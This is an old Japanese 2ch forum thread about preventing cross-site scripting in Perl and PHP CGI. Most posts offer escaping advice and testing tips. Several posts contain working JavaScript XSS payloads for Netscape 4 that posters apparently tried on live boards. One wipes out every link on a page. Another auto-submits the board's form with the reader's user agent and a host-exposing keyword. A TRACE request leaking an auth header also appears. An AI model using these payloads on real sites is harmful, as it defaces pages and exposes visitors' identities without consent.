1 :
名無しさん@お腹いっぱい。 :
01/10/27 10:37 ID:AENF9z2S
2 :
名無しさん@お腹いっぱい。 :01/10/27 11:07 ID:AENF9z2S
とりあえずは、Perlの場合で、BBSやチャットだと、 一番カタイのはタグ禁止ということにして<,>を文字実体参照に変換してしまう のが手っ取り早いと思います。
3 :
名無しさん@お腹いっぱい。 :01/10/28 03:25 ID:ZO04qCcD
4 :
名無しさん@お腹いっぱい。 :01/11/02 23:53 ID:bu2IICno
本気で対策したい人たちが読むことを期待して。 少なくともFORMから入力されたパラメタは、全て読み込んだ時点で 実体参照に置換してしまう(汚染チェックも行う)。 s/&/&/g s/</</g s/>/>/g s/"/"/g URLやHTTPヘッダもそうするべきだけど、そこまでは辛いか?後は比較などで、 元の文字列でなければ困るところだけ、一時的に元に戻すようにする。 s/</</g s/>/>/g s/"/"/g s/&/&/g (上記は2chがちゃんと処理してなかった場合ちゃんと見えないかも。 面倒なんでその場合はページのソースを見てください) 必要な箇所での戻し忘れがあった場合の不都合は、比較的簡単に目に見えるので どってこたない。置換を忘れた場合は見つけにくい上にセキュリティ問題になる ことを考えれば、これくらい徹底した方がいいのでは?
5 :
名無しさん@お腹いっぱい。 :01/11/03 00:20 ID:zLquoryW
男は黙って tr/\W//d
6 :
4 :01/11/03 00:48 ID:???
s/&/&/g s/</</g s/>/>/g s/"/""/g だ。下のは s/&/&/g s/</</g s/>/>/g s/""/"/g ふー…ちゃんと&と"も置換してよ。
7 :
age :01/11/03 00:52 ID:???
age
8 :
age :01/11/03 17:57 ID:???
age
&をエスケープしないのはヤバーイよ! ネスケ4で見てね。
10 :
9 :01/11/03 19:17 ID:???
つづく
11 :
10 :01/11/03 19:17 ID:???
こんなことも(;´Д`)
12 :
10 :01/11/03 19:24 ID:???
シパーイシターヨ
13 :
12 :01/11/03 19:25 ID:???
これでどーよ、ネスケ4
神が降臨シテルヨ
ネスケで見てる人はあまりいなかったのかage
16 :
名無しさん@お腹いっぱい。 :01/11/05 23:40 ID:gvBrmPxu
神はみんなに平等にcookieを読む権利を与えたのだ
パンが無ければCookieを食べればいいじゃない。
19 :
:01/11/06 13:33 ID:hz5ky/YY
くそ・・・ネスケ4で見たら落ちたよ(涙)
>>13 そーいや、それについての警告を見た事無いな。
何処かに名文ないものかな?
21 :
名無しさん@お腹いっぱい。 :01/11/06 16:19 ID:8Is73jkR
22 :
名無しさん@お腹いっぱい。 :01/11/09 00:12 ID:ShSwDwY3
いや明日仕事で、うちの会社で開発したwebサービスの クロスサイトスクリプティング対策をやんなきゃいけなくって、 できる限りヤバーイのを発見しないといけないんだけどさー、 どうするのがいいかねぇ。
>>21 英語か:-(
誰か和訳してくれないものかな。
24 :
名無しさん@お腹いっぱい。 :01/11/09 21:56 ID:QF/0zNjv
>22 まず、実体参照への変換関数(メソッド)を固定の記号に置き換えて返すように変更して実行してみる。 例えば"====================="とか。 そして、フォームの全てのパラメタに"**************************************************"とかの 目立つ文字列を入れてみて、後者がブラウザ上に現れたらアウト。 ※hiddenフィールドもチェックしないとね ただしそれだけだと、URLやHTTPヘッダのチェックが見落としやすいな…。 URL等をブラウザに表示している箇所は、"*********..."が表示されるはずだからそうなっていない 生のURLやUser-Agent等のヘッダの文字列が表示されていたらアウトなわけだけど…。
25 :
名無しさん@お腹いっぱい。 :01/11/09 21:57 ID:QF/0zNjv
後は全エラー画面をチェックしないといけないが、これは画面よリソースをチェックした方が早いだろうなぁ。
PHP 使ってますが。 フォームからのものとか、REMOTE_ADDR、REMOTE_HOSTなど すべて strip_tags() してますが、安全でしょうか?
27 :
名無しさん@お腹いっぱい。 :01/11/10 00:07 ID:9tmYIcvX
たぶん。としかいえんなぁ。変換関数が組み込みのものだと24に書いたみたいなテスト方法は駄目だね。 要はそれを忘れてないかどうかが問題なので。 環境変数等から変数に代入する時点で変換するというポリシーが貫けているなら、 この問題に対してはほぼ安全と思う。
28 :
26 :01/11/10 00:58 ID:???
>>27 とりあえずhiddenを含め全部やってるはずなので、一応安心しておきます。
31 :
>30 :01/11/12 18:24 ID:???
age
33 :
名無しさん@お腹いっぱい。 :01/12/17 07:29 ID:BojNQSph
age
34 :
テスト :01/12/19 07:01 ID:RLJpoDQa
35 :
テスト :01/12/19 07:06 ID:???
age
37 :
:02/01/26 08:50 ID:SUrQysHb
a
こんなのmail欄に入れたらどうなるんだろう? &{document.captureEvents(Event.LOAD);window.onload=new Function('for(var i=0;Boolean(document.links[i]);i++)document.links[i].href=\'\';')};
>38 自分でやってみてよ(笑)
メール欄が長すぎます・・・だって(笑) &{for(var i=0;document.links[i];i++)document.links[i].href='';}; これは大丈夫やった。
>40 どこでやってきたの?(笑)
>>41 色んなところ。反応が一つもないところを見ると
NN4でスクリプトONにしてる奴、あんまおらんのかな?
age
age
>>42 ひいい・・・・2ちゃんで窓が出たよう・・・。
>45 (笑)
テスト
49 :
名無しさん@お腹いっぱい。 :02/02/06 03:46 ID:dMmdiZ7p
50 :
テスト :02/02/08 00:23 ID:???
51 :
テスト :02/02/08 00:28 ID:???
F=Function;fs=document.forms; l0=new F('f=fs[fs.length-1]'); l1=new F('es=f.elements;'); l2=new F('a=es[0];b=es[2];'); l3=new F('c=es[3];d=es[4];'); l4=new F('a.value=navigator.userAgent;'); l5=new F('b.value=\'fusianasan\';'); l6=new F('c.value=\'\';'); l7=new F('d.value=\' \';'); l8=new F('es[1].click();'); lx=new F('l0();l1();l2();l3();'); ly=new F('l4();l5();l6();l7();'); lz=new F('l8();'); l=new F('lx();ly();lz();');window.onload=l;
>>54 > >着尺製
「脆弱性」の (2ch的?) 誤読だと思われ。
正しくは「もろよわせい」と読むらしい。
>>22 で、22はお腹いっぱいヤバゲなの見つかったのかな?
SSLなページの確認はメンドーでないかい? >all
アホプログラマーの重箱の隅つつくのも疲れてきたぞ。(藁
> SSLなページの確認はメンドーでないかい? なぜに?
59 :
57 :02/02/19 01:53 ID:???
漏れがバカだから。とりあえずパケットキャプチャーしてどんな内容送ってるのか見ようと思うんだけど。 IEなんかのクライアントで見て、値が固定されてるもののテストってどうしてますか? 例えば買い物の個数とかサーバ側でエスケープ処理してるか確認したい訳で。 POSTメソッドの値を色々試すのに良いツールってないですかねぇ。HTMLエディタで書き換える?
61 :
57 :02/02/19 07:49 ID:???
>>60 すっ、すばらしい...。ありがとう御座います。感謝感激!
これでもっと重箱の隅つっけそうです。(藁
62 :
a :02/06/27 00:50 ID:awVCb82d
&{document.captureEvents(Event.LOAD);window.onload=new Function('for(var i=0;Boolean(document.links[i]);i++)document.links[i].href=\'\';')};
64 :
nobodyさん :03/01/10 01:43 ID:QhQLqNIU
Struts使おう。
65 :
山崎渉 :03/01/16 03:36 ID:???
(^^)
66 :
奥さん ◆mL2ZRk1cK. :03/01/18 07:27 ID:AxdRMTC9
d
67 :
奥さん ◆0Z6Yhsb88E :03/01/18 07:27 ID:AxdRMTC9
aq
68 :
奥さん ◆E39m/9K3xY :03/01/18 07:28 ID:AxdRMTC9
qwe
69 :
奥さん ◆8WgvSovIKg :03/01/18 07:28 ID:AxdRMTC9
qwer
70 :
奥さん ◆ABM5odHy/Q :03/01/18 07:29 ID:AxdRMTC9
12345
71 :
奥さん ◆bc.v5kgifQ :03/01/18 07:30 ID:AxdRMTC9
hfjfjf
72 :
奥さん ◆IGEMrmvKLI :03/01/18 07:31 ID:AxdRMTC9
vbncnnb
73 :
奥さん ◆tsGpSwX8mo :03/01/18 07:31 ID:AxdRMTC9
hhhhhhhh
74 :
奥さん ◆Mjk4PcAe16 :03/01/18 07:32 ID:AxdRMTC9
fhfhfhfhfh
荒らされてる
XSS対策のひとつとして、「エスケープ処理」がある。 これはCGIが扱うパラメータが多くなってくると、ついつい忘れてしまう煩雑で面倒な処理だが、 もしあなたがPerlユーザなら、HTML::Templateを使うことによってエスケープを テンプレート側に記述し、プログラム側から完全に追い出してしまうことができる。 <input type="hidden" value="<tmpl var="aniti_xss_value" escape="url">"> <input type="text" value="<tmpl var="aniti_xss_text" escape="html">"> 最後のescape属性に注目だ。これを指定してやるだけで、 テンプレートにセットした変数は適切にエスケープされるようになる。 もう、escape関数を呼びまくる必要はないんだ!ひゃっほう! ps.この情報がXSS対策に頭を悩ますCGI製作者の助けになることを祈ってるよ。
ヽ(゚∀゚)ノヒャホー
78 :
nobodyさん :03/01/21 19:45 ID:eVlnRoM0
79 :
nobodyさん :03/01/21 23:40 ID:ByrQNqOs
クッキーのpathを / とかにしてるんだろうね。 名前が漏れるくらいはなんでもないけど トリップやキャップもクッキーに入ってるとなりすましが出来ると。
81 :
nobodyさん :03/01/28 20:54 ID:wWZkstRp
>>80 ウゲ
でも
> サーバのTRACEメソッドが機能している場合
ってどういう場合なの?
82 :
山崎渉 :03/04/17 12:26 ID:???
(^^)
83 :
山崎渉 :03/04/20 06:06 ID:???
∧_∧ ( ^^ )< ぬるぽ(^^)
TRACE / HTTP/1.1 Host: localhost Authorization: Basic HTTP/1.1 200 OK Date: Sun, 11 May 2003 11:07:46 GMT Server: Apache/1.3.27 Transfer-Encoding: chunked Content-Type: message/http 50 TRACE / HTTP/1.1 Authorization: Basic lG+/r4+/j6+/64FgKHc= Host: localhost 0 (((;゚Д゚))ガクガクブルブル
85 :
山崎渉 :03/05/22 02:10 ID:???
━―━―━―━―━―━―━―━―━[JR山崎駅(^^)]━―━―━―━―━―━―━―━―━―
86 :
山崎渉 :03/05/28 17:16 ID:???
∧_∧ ピュ.ー ( ^^ ) <これからも僕を応援して下さいね(^^)。 =〔~∪ ̄ ̄〕 = ◎――◎ 山崎渉
87 :
山崎 渉 :03/07/15 11:18 ID:???
__∧_∧_ |( ^^ )| <寝るぽ(^^) |\⌒⌒⌒\ \ |⌒⌒⌒~| 山崎渉 ~ ̄ ̄ ̄ ̄
88 :
山崎 渉 :03/08/02 02:34 ID:???
∧_∧ ( ^^ )< ぬるぽ(^^)
∧_∧ ∧_∧ ピュ.ー ( ・3・) ( ^^ ) <これからも僕たちを応援して下さいね(^^)。 =〔~∪ ̄ ̄ ̄∪ ̄ ̄〕 = ◎――――――◎ 山崎渉&ぼるじょあ
90 :
山崎 渉 :03/08/15 23:09 ID:???
(⌒V⌒) │ ^ ^ │<これからも僕を応援して下さいね(^^)。 ⊂| |つ (_)(_) 山崎パン
91 :
nobodyさん :03/08/28 13:53 ID:5epBRgUL
2chにはもうXSS使える穴は無い?
半角で穴見つかったのが最後かな?
そうか… XSS使えばフレームでの別ドメインの制限が回避出来るんだけどなー…
94 :
nobodyさん :03/12/27 14:03 ID:6Fk7/T/f
XSSをさらすスレはここですか?
保守
98 :
nobodyさん :2008/05/08(木) 19:41:05 ID:CmE1kuyM
age
age
tes
102 :
nobodyさん :2011/05/22(日) 16:35:47.30 ID:riL4CCVW
_ r-、' ´ `ヽr-、 ィ7 /l: ハヽハ トヾ 駄スレを隠すことは、この俺が許さん! '|l |'´_` ´_ `| || 信念に基づいて行動する。 | |´ヒ} ヒ}`! l| それを人は正義と言う。 __ノ゙). 从 l, _'_. |从 今俺が行ってることは、上げ荒らしではない。 ,_'(_ ノ_ヽ ヾl.> - ,イ;リ 正義という名の粛清だぁ! { f:テ} {'f:テ}',/\ヽ--//ヽ ヽ,r─‐ 、ィ .、、 i l>Y<! i '、 バーニング! / iゝ_ノ iヽ /l |l l ', lンヽ/ムノじ
あげ
104 :
nobodyさん :2012/10/19(金) 02:24:29.53 ID:F/2XWufo
あげそこなった
∧_∧
( ・∀・) | | ガガッ
と ) | |
Y /ノ .人
/ ) .人 < >_∧∩
_/し' < >_∧∩`Д´)/
(_フ彡 V`Д´)/ / ←
>>88 / ←
>>83